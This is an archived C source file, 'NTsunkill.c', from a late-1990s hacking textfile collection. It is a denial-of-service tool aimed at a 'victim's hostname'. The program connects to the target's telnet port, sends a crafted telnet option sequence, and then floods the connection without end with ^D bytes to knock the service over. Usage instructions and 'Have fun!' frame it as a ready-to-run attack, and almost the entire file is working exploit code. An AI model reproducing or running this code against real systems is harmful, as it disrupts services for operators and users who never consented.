home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / Hacking / NTsunkill.c.sit / NTsunkill.c
C/C++ Source or Header  |  1998-03-25  |  3KB  |  113 lines

  1.  
  2. /* http://www.rootshell.com/ */
  3.  
  4. /*
  5.     **  To make, if your system is BSD'ish:  gcc <thisfile>
  6.     **       ...if your system is SysV'ish:  gcc -lnsl -lsocket <thisfile>
  7.     **
  8.     **  Usage: a.out <victim's hostname>
  9.     **
  10.     **  Have fun!
  11.     */
  12.  
  13. #ifdef WIN32
  14.  
  15. #include <winsock.h>
  16. #include <stdio.h>
  17. /*NT doesn't have <arpa/telnet.h>
  18. * so swipe the BSD header and stick it in your
  19. * working dir*/
  20. #include "telnet.h"
  21.  
  22. #else
  23.     #include <signal.h>
  24.     #include <sys/types.h>
  25.     #include <sys/socket.h>
  26.     #include <netinet/in.h>
  27.     #include <netdb.h>
  28.     #include <arpa/telnet.h>
  29.     #include <string.h>
  30.     #include <unistd.h>
  31. #endif
  32.  
  33. #define BUFSIZE 100
  34. #define DOTS
  35.  
  36. void catchit(void)
  37. {
  38.     printf("\nCaught SIGPIPE -- your link may be too slow.\n");
  39.     exit(1);
  40. }
  41.  
  42. #ifdef WIN32
  43. void InitWinsock(void)
  44. {
  45.         WORD          VersionRequested;
  46.         WSADATA       WsaData;
  47.  
  48.         VersionRequested = MAKEWORD(1, 1);
  49.     if(WSAStartup(VersionRequested, &WsaData) != 0)
  50.         {
  51.                 printf("Could not initialize Winsock\n");
  52.                 exit(-1);
  53.         }
  54. }
  55. #endif
  56.  
  57.     int main(int argc, char *argv[])
  58.     {
  59.         unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO,  \
  60.         TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \
  61.         TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO};
  62.  
  63.         unsigned char nastybuf[BUFSIZE];
  64.         struct sockaddr_in sin;
  65.         struct servent *sp;
  66.         struct hostent *hp;
  67.         int s;
  68.  
  69. #ifndef WIN32
  70.         typedef void (*sig_t) (int);
  71.         signal(SIGPIPE,(sig_t)catchit);
  72. #else
  73.                 InitWinsock();
  74. #endif
  75.  
  76.         memset(nastybuf,4,BUFSIZE);  /* ascii 4 = ^D */
  77.  
  78.         if (!(s = socket(AF_INET, SOCK_STREAM, 0))) {
  79.               printf("no socket\n");
  80.               exit(1);
  81.         }
  82.  
  83.         if (!(hp = gethostbyname(argv[1]))) {
  84.             printf("unknown host\n");
  85.             exit(1);
  86.         }
  87.  
  88.         memset(&sin, 0, sizeof(sin));
  89.         memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
  90.         sin.sin_family = AF_INET;
  91.         sp = getservbyname("telnet","tcp");
  92.         sin.sin_port = sp->s_port;
  93.  
  94.         if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
  95.             printf("can't connect to host\n");
  96.             exit(1);
  97.         }
  98.  
  99.         printf("connected to %s\n", argv[1]);
  100.         send(s, kludge_telopt, 21, 0);   /* kludge some telnet negotiation */
  101.  
  102.         /*  "Let them eat ^Ds..." */
  103.  
  104.         while (send(s, nastybuf, BUFSIZE, 0) != -1) {
  105.  
  106.     #ifdef DOTS
  107.             putchar('.');
  108.     #endif
  109.         }
  110.                 return 0;
  111.     }
  112.  
  113.